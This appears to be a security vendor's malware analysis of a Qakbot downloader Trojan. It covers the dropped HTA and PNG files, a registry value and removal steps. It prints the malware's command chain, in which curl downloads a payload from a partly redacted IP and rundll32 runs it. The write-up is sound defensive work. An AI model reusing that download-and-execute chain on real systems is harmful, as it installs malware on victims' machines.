Analysis by: Francesca Villasanta
ALIASES:

TrojanDownloader:JS/Qakbot.AA!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 181,430 bytes
File Type: Other
Memory Resident: No
Initial Samples Received Date: 02 Feb 2023
Payload: Connects to URLs/IPs, Displays message/message boxes, Modifies system registry

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\0\Open.hta
  • %ProgramData%\index1.png

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

  • "%Windows%\SysWOW64\mshta.exe" "%User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\0\Open.hta" {{GUID}{{GUID}}
  • "%System%\curl.exe" --output %ProgramData%\index1.png --url http://{BLOCKED}.{BLOCKED}.84.121/36843.dat
  • "%System%\rundll32.exe" %ProgramData%\index1.png,Wind

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\SOFTWARE\Xeonitox\
MP3Conv
Cfg = {encoded command} → deleted afterwards

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.84.121/36843.dat

It saves the files it downloads using the following names:

  • index1.png

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It displays the following to lure the user in clicking "Open" and opening the attached .hta file:

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.240.04
FIRST VSAPI PATTERN DATE: 06 Feb 2023
VSAPI OPR PATTERN File: 18.241.00
VSAPI OPR PATTERN Date: 07 Feb 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\SOFTWARE\Xeonitox\MP3Conv
    • Cfg = {encoded command}

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\0\Open.hta
  • %ProgramData%\index1.png

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.O97M.QAKBOT.YJDBB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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